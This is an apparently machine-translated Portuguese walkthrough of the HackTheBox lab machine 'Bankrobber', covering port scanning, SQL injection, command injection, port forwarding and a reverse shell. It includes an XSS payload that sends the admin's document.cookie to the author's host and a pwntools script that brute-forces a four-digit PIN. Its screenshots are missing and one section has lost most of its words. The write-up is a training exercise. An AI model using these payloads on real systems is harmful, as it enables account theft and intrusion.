Corte a caixa. Passo a passo Bankrobber. XSS, injeção SQL, CSRF, encaminhamento de porta

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, roubaremos os cookies do administrador do site via XSS, descobriremos o código usando injeção SQL, obteremos o shell através do formulário de execução de comando usando XSS e CSRF, abriremos a porta do Windows e distorceremos o PIN do aplicativo de transferência fácil usando pwntools.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes para você estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)

Informações Organizacionais
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.154, que eu adiciono ao / etc / hosts.

10.10.10.154	bankrobber.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

imagem

Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.

nmap -A bankrobber.htb -p80,443,445,3306

imagem

O host possui um servidor web e SMB, e o MySQL também está disponível. O SMB e o MySQL não nos dão nada, então veja a web.

imagem

O site Bitcoin é apresentado onde podemos nos registrar.

imagem

Vamos registrar e fazer login. Recebemos um formulário para transferência de fundos.

imagem

Depois de concluir uma solicitação de teste simples, recebemos uma mensagem. Ele diz que o administrador considerará nossa solicitação de transação e tomará uma decisão.

imagem

Essa é uma dica muito grande do XSS. Vamos tentar roubar o cookie de administrador. Primeiro, implante o servidor HTTP local.

imagem

Agora, executamos a solicitação de transação, especificando o seguinte carregamento JS como uma mensagem.
<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

Assim, ao tentar enviar uma foto, o script entrará em contato com esse endereço e, como parâmetro, nos enviará cookies da conta na qual o script foi executado (neste caso, o administrador).

imagem

Parece base64. Decodificamos e obtemos o login e a senha do administrador.

imagem

Entre como administrador e veja o que há de novo para nós. Ao enviar uma cotação no campo de pesquisa do usuário, obtemos um erro - há uma injeção.

imagem

Outro servidor solicita o comando dir.

imagem

Mas apenas respostas localhost.

imagem

Vamos voltar à injeção de SQL.

imagem

Determinamos o número de colunas e quais delas são exibidas.

imagem

Assim, a primeira e a segunda colunas são exibidas.

DO UTILIZADOR


Depois de nos sentar um pouco, não encontramos nada de interessante. Vamos para o módulo backdoorchecker. Encontre um evento que responda a um clique no botão.

imagem

Vá para o console do navegador e digite o nome da função.

imagem

Seguimos o link para a função.

imagem

E descobrimos para onde vai a solicitação. Graças à injeção, podemos ler o arquivo (a primeira vez que adivinhei o caminho xampp padrão).

imagem

Assim, o comando será executado se a substring "dir" estiver presente na linha. Isso nos permite enviar uma cadeia de comandos. Resta lidar com um, o pedido deve vir de localhost. Recordamos o XSS e a função callSys (), que podemos chamar para enviar uma solicitação. Verifique nossa suposição.

imagem

Como o comando está completo, vamos executar o RCE usando o script Invoke-PowerShellTcp do pacotenishang .

imagem

RAIZ


Antes de tudo, conduzimos a enumeração básica do sistema. Para isso, usamos winPEAS .

imagem

De toda a saída, nos apegamos à porta aberta no localhost 910.

imagem

Vamos ver o que há nele. Primeiro você precisa jogar a porta. Entre todos os programas, a solução mais conveniente é o cinzel . Execute em host local e hosts remotos.

imagem

imagem

Agora conecte e veja o que está lá.

imagem

É necessário um código PIN de quatro dígitos. Nós vamos resolver isso.
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()


imagem

Encontramos o código PIN e somos solicitados a inserir o valor da transação. Fazemos isso e nada acontece.

imagem

O valor é transferido para um programa em execução como administrador. Não encontrando mais nada, transferimos como soma uma sequência de 100 caracteres.

imagem

imagem

E vemos como a linha de lançamento do programa mudou para parte da nossa linha. Vamos verificar a partir de qual índice isso aconteceu.

imagem

Assim, se passarmos uma linha com o nome de outro programa, ele será executado. Vamos checar.

imagem

imagem

imagem

E a suposição é verdadeira. Para começar, baixe o netcat.

imagem

E agora vamos fazer a conexão traseira.

imagem

imagem

Obtendo privilégios do sistema.

Você pode se juntar a nós no Telegram. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

All Articles